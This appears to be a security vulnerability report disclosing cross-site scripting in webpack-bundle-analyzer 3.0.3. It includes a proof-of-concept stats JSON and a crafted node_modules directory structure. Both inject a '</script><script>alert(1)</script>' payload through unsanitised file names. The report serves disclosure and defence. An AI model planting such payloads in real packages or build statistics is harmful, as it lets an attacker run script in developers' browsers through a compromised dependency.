How it was found

I would like to report Cross-site Scripting in webpack-bundle-analyzer. It allows injecting and executing arbitray JavaScript code.

Module

module name: webpack-bundle-analyzer version: 3.0.3 npm page: https://www.npmjs.com/package/webpack-bundle-analyzer

Module Description

Visualize size of webpack output files with an interactive zoomable treemap.

Module Stats

163083 downloads in the last day 952718 downloads in the last week 4033912 downloads in the last month

Vulnerability

Vulnerability Description

webpack-bundle-analyzer does not sanitize names of files and directories which may be used to inject malicious Javascript.

Steps To Reproduce:

Simple POC:

• Install webpack-bundle-analyzer

npm i webpack-bundle-analyzer

• create an example of webpack-stats json file

poc.json

{
  "outputPath": "./dist",
  "assets": [
    {
      "name": "</script><script>alert(1)</script>main.js",
      "chunks": [0],
      "chunkNames": ["main"]
    }
  ]
}

• run analyzer

node ./node_modules/webpack-bundle-analyzer/lib/bin/analyzer.js poc.json

default output should be:

Webpack Bundle Analyzer is started at http://127.0.0.1:8888
Use Ctrl+C to close it

• open the analyzer's url

http://localhost:8888

• payload executes immidiately

More In-depth example:

Main task of the application is to visualize structure of output files compiled by webpack by parsing JSON file containing statistics about modules (https://webpack.js.org/api/stats/) generated by webpack. Projects usually include third-party modules, so by having access to thir-party module content (file names and directory structure) it is possible to manipulate the compilation statistics in compilation-stats.json file and as long as certain data from this file is passed to the page without sanitization https://github.com/webpack-contrib/webpack-bundle-analyzer/blob/master/views/viewer.ejs#L14 it is possible to inject payload

For example

this file structure:

node_modules/some-module-that-we-control/
├── <
│   └── script><script>alert(1)<
│       └── script>module-name-that-is-included-in-index.js
├── index.js
└── package.json

will result in something like this:

<script>
    window.chartData = [
{"some-data-here":
"and here</script><script>alert(1)</script>module-name-that-is-included-in-index.js",
"more-data":[]}
];
    window.defaultSizes = "parsed";
    window.enableWebSocket = true;
</script>

I created project on Github for easier explanation:

• Download repo

git clone https://github.com/inkz/poc-webpack-bundle-analyzer.git

cd poc-webpack-bundle-analyzer/

• Install dependencies

npm install

• Run webpack

npm run build

Output should be:

Webpack Bundle Analyzer is started at http://127.0.0.1:8888
Use Ctrl+C to close it

• open the url

http://localhost:8888

• payload executes

Refer to directory structure here https://github.com/inkz/poc-webpack-bundle-analyzer/tree/master/external/node_modules/poc-module and web page source code for better understanding

Patch

Supporting Material/References:

• OS: Linux Mint current
• Node.js: 8.11.1
• NPM: 6.4.0

Wrap up

• I contacted the maintainer to let them know: N
• I opened an issue in the related repository: N

Impact

An attacker that is able to control third party module can execute malicious JavaScript.